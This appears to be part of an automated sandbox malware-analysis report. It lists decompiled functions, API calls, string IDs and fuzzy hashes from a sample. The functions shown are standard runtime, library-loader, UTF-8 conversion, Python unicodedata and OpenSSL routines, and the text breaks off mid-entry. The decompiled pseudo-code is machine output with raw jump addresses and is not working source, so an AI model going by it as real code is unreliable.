                                                                                                                              0x7ff7da8ddf89
                                                                                                                              0x7ff7da8ddf8e
                                                                                                                              0x7ff7da8ddf93
                                                                                                                              0x7ff7da8ddf97
                                                                                                                              0x7ff7da8ddf9e
                                                                                                                              0x7ff7da8ddfa3
                                                                                                                              0x7ff7da8ddfa8
                                                                                                                              0x7ff7da8ddfad
                                                                                                                              0x7ff7da8ddfb3
                                                                                                                              0x7ff7da8ddfbc
                                                                                                                              0x7ff7da8ddfcb
                                                                                                                              0x7ff7da8ddfd3
                                                                                                                              0x7ff7da8ddfda
                                                                                                                              0x7ff7da8ddfe2
                                                                                                                              0x7ff7da8ddfe7
                                                                                                                              0x7ff7da8ddfec
                                                                                                                              0x7ff7da8ddff6
                                                                                                                              0x7ff7da8de017

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                                                                              • String ID: csm$csm$csm
                                                                                                                              • API String ID: 849930591-393685449
                                                                                                                              • Opcode ID: 37d607f2ef6e4e9c222edd22de0676be1f50fecdbf07fc71a4a40dfd36176f59
                                                                                                                              • Instruction ID: a2a6c8605bd352043d1787b14409685ff4ebdb26cf38f63245b935d8c47341ba
                                                                                                                              • Opcode Fuzzy Hash: 37d607f2ef6e4e9c222edd22de0676be1f50fecdbf07fc71a4a40dfd36176f59
                                                                                                                              • Instruction Fuzzy Hash: 54E19B73A097418AFF21AF6594402ADB7A0FB54798F880576EE8D57B86CF3CE4A0C750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD8660CD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 227COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Fiber$Switch$CreateDeletememmove
                                                                                                                              • String ID: *$..\s\crypto\async\async.c
                                                                                                                              • API String ID: 81049052-1471988776
                                                                                                                              • Opcode ID: dbe1ad25f8c32a160b26d7b8004dca6fb73d4df05284213f154fc875803ad330
                                                                                                                              • Instruction ID: 86845ad6b1d1e7d2eae6832862817fef06214a3098c277e935179a9dabbf5f90
                                                                                                                              • Opcode Fuzzy Hash: dbe1ad25f8c32a160b26d7b8004dca6fb73d4df05284213f154fc875803ad330
                                                                                                                              • Instruction Fuzzy Hash: 44A1C132A09B6A86EB20EF55E460679A360EF44B90F404479DAAE437D1FF3CE545C7B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD741780 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 127COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Unicode_$Arg_ArgumentFromReadyStringSubtypeType_
                                                                                                                              • String ID: a unicode character$argument$category
                                                                                                                              • API String ID: 2803103377-2068800536
                                                                                                                              • Opcode ID: 9e6e558d1a517edcbb2660dc9e7557a39b8d7c25d030286f15f755aaa99b6cf3
                                                                                                                              • Instruction ID: 515539759ab750205f330f6269f3046fbe149db906c33db19830e60c229af303
                                                                                                                              • Opcode Fuzzy Hash: 9e6e558d1a517edcbb2660dc9e7557a39b8d7c25d030286f15f755aaa99b6cf3
                                                                                                                              • Instruction Fuzzy Hash: 3851F822B08E7AC5EB569B05D46027DA2A5EB46785F040136DE6E4B7D8FF2CE841C3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EDD08 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 77%
                                                                                                                              			E00007FF77FF7DA8EDD08(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				void* _t35;
				signed long long _t56;
				intOrPtr _t60;
				void* _t71;
				signed long long _t72;
				long long _t78;
				void* _t82;
				signed long long _t88;
				signed long long _t89;
				signed long long _t90;
				WCHAR* _t91;
				long _t94;
				void* _t97;
				WCHAR* _t102;

				 *((long long*)(_t82 + 8)) = __rbx;
				 *((long long*)(_t82 + 0x10)) = _t78;
				 *((long long*)(_t82 + 0x18)) = __rsi;
				r15d = __ecx;
				_t72 = _t71 | 0xffffffff;
				_t89 =  *0xda90d008; // 0xe3add53f52b8
				_t88 =  *(0x7ff7da8d0000 + 0x4cf00 + _t102 * 8) ^ _t89;
				asm("dec ecx");
				if (_t88 == _t72) goto 0xda8ede4b;
				if (_t88 == 0) goto 0xda8edd6d;
				_t56 = _t88;
				goto 0xda8ede4d;
				if (__r8 == __r9) goto 0xda8ede30;
				_t60 =  *((intOrPtr*)(0x7ff7da8d0000 + 0x4ce50 + __rsi * 8));
				if (_t60 == 0) goto 0xda8edd95;
				if (_t60 != _t72) goto 0xda8ede8a;
				goto 0xda8ede1c;
				r8d = 0x800;
				LoadLibraryExW(_t102, _t97, _t94);
				if (_t56 != 0) goto 0xda8ede6a;
				if (GetLastError() != 0x57) goto 0xda8ede0a;
				_t14 = _t56 - 0x50; // -80
				_t35 = _t14;
				r8d = _t35;
				if (E00007FF77FF7DA8E9950(__r8) == 0) goto 0xda8ede0a;
				r8d = _t35;
				if (E00007FF77FF7DA8E9950(__r8) == 0) goto 0xda8ede0a;
				r8d = 0;
				LoadLibraryExW(_t91, _t71);
				if (_t56 != 0) goto 0xda8ede6a;
				 *((intOrPtr*)(0x7ff7da8d0000 + 0x4ce50 + __rsi * 8)) = _t72;
				if (__r8 + 4 != __r9) goto 0xda8edd76;
				_t90 =  *0xda90d008; // 0xe3add53f52b8
				asm("dec eax");
				 *(0x7ff7da8d0000 + 0x4cf00 + _t102 * 8) = _t72 ^ _t90;
				return 0;
			}

















                                                                                                                              0x7ff7da8edd08
                                                                                                                              0x7ff7da8edd0d
                                                                                                                              0x7ff7da8edd12
                                                                                                                              0x7ff7da8edd24
                                                                                                                              0x7ff7da8edd2e
                                                                                                                              0x7ff7da8edd44
                                                                                                                              0x7ff7da8edd4b
                                                                                                                              0x7ff7da8edd54
                                                                                                                              0x7ff7da8edd5a
                                                                                                                              0x7ff7da8edd63
                                                                                                                              0x7ff7da8edd65
                                                                                                                              0x7ff7da8edd68
                                                                                                                              0x7ff7da8edd70
                                                                                                                              0x7ff7da8edd79
                                                                                                                              0x7ff7da8edd85
                                                                                                                              0x7ff7da8edd8a
                                                                                                                              0x7ff7da8edd90
                                                                                                                              0x7ff7da8edda2
                                                                                                                              0x7ff7da8edda8
                                                                                                                              0x7ff7da8eddb4
                                                                                                                              0x7ff7da8eddc3
                                                                                                                              0x7ff7da8eddc5
                                                                                                                              0x7ff7da8eddc5
                                                                                                                              0x7ff7da8eddcb
                                                                                                                              0x7ff7da8edddc
                                                                                                                              0x7ff7da8eddde
                                                                                                                              0x7ff7da8eddf2
                                                                                                                              0x7ff7da8eddf4
                                                                                                                              0x7ff7da8eddfc
                                                                                                                              0x7ff7da8ede08
                                                                                                                              0x7ff7da8ede14
                                                                                                                              0x7ff7da8ede23
                                                                                                                              0x7ff7da8ede29
                                                                                                                              0x7ff7da8ede3d
                                                                                                                              0x7ff7da8ede43
                                                                                                                              0x7ff7da8ede69

                                                                                                                              APIs
                                                                                                                              • FreeLibrary.KERNEL32(?,00000000,?,00007FF7DA8EE0A2,?,?,-00000018,00007FF7DA8EA173,?,?,?,00007FF7DA8EA06A,?,?,?,00007FF7DA8E53C2), ref: 00007FF7DA8EDE84
                                                                                                                              • GetProcAddress.KERNEL32(?,00000000,?,00007FF7DA8EE0A2,?,?,-00000018,00007FF7DA8EA173,?,?,?,00007FF7DA8EA06A,?,?,?,00007FF7DA8E53C2), ref: 00007FF7DA8EDE90
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressFreeLibraryProc
                                                                                                                              • String ID: api-ms-$ext-ms-
                                                                                                                              • API String ID: 3013587201-537541572
                                                                                                                              • Opcode ID: 05b603102d198864137dbc22e1d5c79a95c136e16b7dfd1a6baa0dacd04be2dd
                                                                                                                              • Instruction ID: 38165dca2cd61530afb46067c13f525548d298152e40c60e04b0d855c0d1de73
                                                                                                                              • Opcode Fuzzy Hash: 05b603102d198864137dbc22e1d5c79a95c136e16b7dfd1a6baa0dacd04be2dd
                                                                                                                              • Instruction Fuzzy Hash: 5C411322B09A03C1FA13BB12980457DA391BF64BA0FC88176DD0D97786EF3DE9598360
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD741000 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 110COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 16%
                                                                                                                              			E00007FFC7FFCFD741000(void* __rax, long long __rbx, signed int __rcx, void* __rdx, long long __rsi, long long __r14, long long _a8, long long _a16, long long _a24) {
				void* _t39;
				void* _t44;
				signed int _t54;
				unsigned long long _t69;
				signed char* _t71;

				_a24 = __rbx;
				if (( *( *((intOrPtr*)(__rdx + 8)) + 0xa8) & 0x10000000) == 0) goto 0xfd743618;
				if (( *(__rdx + 0x20) & 0x00000080) == 0) goto 0xfd74363d;
				if ( *((long long*)(__rdx + 0x10)) != 1) goto 0xfd743618;
				_t54 =  *(__rdx + 0x20);
				_a8 = __rsi;
				_a16 = __r14;
				if ((_t54 & 0x0000001c) != 4) goto 0xfd74110e;
				if ((_t54 & 0x00000020) == 0) goto 0xfd74364f;
				_t39 =  ==  ? 0x48 : 0x30;
				_t69 = __rax + __rdx;
				if (( *_t69 & 0x000000ff) - 0x110000 >= 0) goto 0xfd74367c;
				_t71 = (_t69 >> 7) + (_t69 >> 7) * 2;
				if (__rcx == 0) goto 0xfd7410eb;
				if ( *((intOrPtr*)(__rcx + 8)) == __imp__PyModule_Type) goto 0xfd7410eb;
				__imp__PyType_IsSubtype();
				if (( *(0x7ffcfd740000 + 0xe3920 + __rcx * 2) & 0x0000ffff) != 0) goto 0xfd7410eb;
				_t44 =  *((intOrPtr*)(__rcx + 0x18))();
				if (_t71[1] == 0) goto 0xfd74113d;
				if (( *_t71 & 0x000000ff) != 0xff) goto 0xfd741141;
				__imp__PyUnicode_FromString();
				return _t44;
			}








                                                                                                                              0x7ffcfd741000
                                                                                                                              0x7ffcfd74101e
                                                                                                                              0x7ffcfd741028
                                                                                                                              0x7ffcfd741033
                                                                                                                              0x7ffcfd741039
                                                                                                                              0x7ffcfd741040
                                                                                                                              0x7ffcfd741048
                                                                                                                              0x7ffcfd741053
                                                                                                                              0x7ffcfd74105b
                                                                                                                              0x7ffcfd74106e
                                                                                                                              0x7ffcfd741071
                                                                                                                              0x7ffcfd741084
                                                                                                                              0x7ffcfd7410ac
                                                                                                                              0x7ffcfd7410bc
                                                                                                                              0x7ffcfd7410cc
                                                                                                                              0x7ffcfd7410ce
                                                                                                                              0x7ffcfd7410d6
                                                                                                                              0x7ffcfd7410da
                                                                                                                              0x7ffcfd7410e1
                                                                                                                              0x7ffcfd7410e9
                                                                                                                              0x7ffcfd7410f3
                                                                                                                              0x7ffcfd74110d

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Unicode_$Arg_ArgumentFromReadyStringSubtypeType_
                                                                                                                              • String ID: a unicode character$argument$bidirectional
                                                                                                                              • API String ID: 2803103377-2110215792
                                                                                                                              • Opcode ID: 13a7a07f0953b1032acf04b55cf0ef29e811e5461d08e34cfb79163082fa4ee2
                                                                                                                              • Instruction ID: 84b81c5a9b533b7e47cd840ba67bad9c8cd5b8b33f22039a1fd0f4bdc710ec2c
                                                                                                                              • Opcode Fuzzy Hash: 13a7a07f0953b1032acf04b55cf0ef29e811e5461d08e34cfb79163082fa4ee2
                                                                                                                              • Instruction Fuzzy Hash: A741E862B08E6AC1EB165B15D470279A361EF46B96F444036DE6E4B3E8EF2DD844C3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7570 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D760F
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D765F
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide
                                                                                                                              • String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
                                                                                                                              • API String ID: 626452242-27947307
                                                                                                                              • Opcode ID: 1a96fc14a779c4ec32fca2acc22782d34526e45aaf800821a7dd3fd10f6edcbd
                                                                                                                              • Instruction ID: 9e2d178cc8cfe57f0d13e14533101a5a6936666a3e9477e1d0f5788ba0be89af
                                                                                                                              • Opcode Fuzzy Hash: 1a96fc14a779c4ec32fca2acc22782d34526e45aaf800821a7dd3fd10f6edcbd
                                                                                                                              • Instruction Fuzzy Hash: DC418232A08B8285FA22AF15F44016EE764FB54790FD84176DE8D47B96EF3CD466C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD744628 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 87COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FromStringUnicode_$S_snprintfSizeSubtypeType_memcpy
                                                                                                                              • String ID: $%04X
                                                                                                                              • API String ID: 762632776-4013080060
                                                                                                                              • Opcode ID: 928d9d27546edd71c63b2c2ce22ca69dd474578865840046bf2d51b3e75f5fa5
                                                                                                                              • Instruction ID: 69f8a6e41b0a24880e5b806765ae6ac062db5da146d05064a02322755740c155
                                                                                                                              • Opcode Fuzzy Hash: 928d9d27546edd71c63b2c2ce22ca69dd474578865840046bf2d51b3e75f5fa5
                                                                                                                              • Instruction Fuzzy Hash: 5431C662A08DA9C1EB228B15D8243B9A3A1FB46B65F450336C97D0B6CCEF6CE445C370
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD744CC4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 78COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Arg_ArgumentErr_FromLongLong_OccurredReadyUnicode_
                                                                                                                              • String ID: a unicode character$argument$mirrored
                                                                                                                              • API String ID: 3097524968-4001128513
                                                                                                                              • Opcode ID: 2af9e1d20706056489e69fa7a5b68c4204390a1b6ed519ae8f657ced546d95a6
                                                                                                                              • Instruction ID: 6bbb2db76d538750e99ae948023fe3cfd3e2c694cc7e93f42f9eaf94f4c2ad6a
                                                                                                                              • Opcode Fuzzy Hash: 2af9e1d20706056489e69fa7a5b68c4204390a1b6ed519ae8f657ced546d95a6
                                                                                                                              • Instruction Fuzzy Hash: 6C319260B08E2AC2FB554B12D4713795291AF46B5AF044036CB2D4B2DCFF6CE845EAF0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD7441F0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 78COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Arg_ArgumentErr_FromLongLong_OccurredReadyUnicode_
                                                                                                                              • String ID: a unicode character$argument$combining
                                                                                                                              • API String ID: 3097524968-4202047184
                                                                                                                              • Opcode ID: d460b3160a4902d8517a0351533df7bc08d70ff5da73a78ceb230b2c7815c23d
                                                                                                                              • Instruction ID: 647b04dd7e699a633b8dd045ba4e4ee4e4def09bab0c4ad59603f723542d7616
                                                                                                                              • Opcode Fuzzy Hash: d460b3160a4902d8517a0351533df7bc08d70ff5da73a78ceb230b2c7815c23d
                                                                                                                              • Instruction Fuzzy Hash: F831C621B08E2AC2FB554B9294713795291AF46B5AF444136CA2D4B2CCFF6CE845E3F0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7AB0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,00007FF7DA8D3679), ref: 00007FF7DA8D7AF1
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,00007FF7DA8D3679), ref: 00007FF7DA8D7B65
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
